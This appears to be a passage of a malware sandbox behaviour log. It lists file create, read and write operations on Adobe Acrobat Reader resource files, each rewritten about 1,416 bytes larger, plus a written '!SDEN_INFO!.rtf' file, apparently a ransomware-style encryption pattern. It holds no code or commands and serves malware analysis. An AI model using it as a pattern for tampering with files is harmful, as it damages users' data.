File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\selector.js, size = 5190	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-ae\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-ae\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-ae\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ja-jp\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ja-jp\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ja-jp\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sl-si\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sl-si\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sl-si\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main.css, size = 4542, size_out = 4542	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main.css, size = 5958	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\es-es\ui-strings.js, size = 1313, size_out = 1313	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\es-es\ui-strings.js, size = 2729	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nb-no\ui-strings.js, size = 1286, size_out = 1286	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nb-no\ui-strings.js, size = 2702	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\tr-tr\ui-strings.js, size = 1326, size_out = 1326	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 2742	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\css\main-selector.css, size = 1227, size_out = 1227	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\css\main-selector.css, size = 2643	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\es-es\ui-strings.js, size = 1184, size_out = 1184	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\es-es\ui-strings.js, size = 2600	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nb-no\ui-strings.js, size = 1169, size_out = 1169	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nb-no\ui-strings.js, size = 2585	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\tr-tr\ui-strings.js, size = 1216, size_out = 1216	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\tr-tr\ui-strings.js, size = 2632	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\adobe_sign_tag_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\adobe_sign_tag_retina.png, size = 2149, size_out = 2149	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\adobe_sign_tag_retina.png, size = 3565	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\adobe_sign_tag_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\adobe_sign_tag_retina.png, size = 2149, size_out = 2149	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\adobe_sign_tag_retina.png, size = 3565	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Checkmark_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Checkmark_White@1x.png, size = 406, size_out = 406	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Checkmark_White@1x.png, size = 1822	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Checkmark_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_field_grabber.png, size = 406, size_out = 406	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_field_grabber.png, size = 1822	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\check_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\check_2x.png, size = 1498, size_out = 1498	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\check_2x.png, size = 2914	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\check_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\check_2x.png, size = 1498, size_out = 1498	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\check_2x.png, size = 2914	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\x_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\x_2x.png, size = 1000, size_out = 1000	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\x_2x.png, size = 2416	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\eu-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\eu-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\eu-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\pl-pl\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-selector.js, size = 4505, size_out = 4505	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-selector.js, size = 5921	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\en-gb\ui-strings.js, size = 974, size_out = 974	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\en-gb\ui-strings.js, size = 2390	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\sv-se\ui-strings.js, size = 914, size_out = 914	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\sv-se\ui-strings.js, size = 2330	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_ie8.gif, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_ie8.gif, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_ie8.gif, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_ie8.gif, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\de-de\ui-strings.js, size = 1454, size_out = 1454	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\de-de\ui-strings.js, size = 2870	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hr-hr\ui-strings.js, size = 1415, size_out = 1415	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hr-hr\ui-strings.js, size = 2831	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\ui-strings.js, size = 1341, size_out = 1341	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\ui-strings.js, size = 2757	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-tw\ui-strings.js, size = 1390, size_out = 1390	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-tw\ui-strings.js, size = 2806	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\ui-strings.js, size = 2239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ja-jp\ui-strings.js, size = 865, size_out = 865	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ja-jp\ui-strings.js, size = 2281	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sl-si\ui-strings.js, size = 859, size_out = 859	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sl-si\ui-strings.js, size = 2275	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main.css, size = 802, size_out = 802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main.css, size = 2218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_patterns_header.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
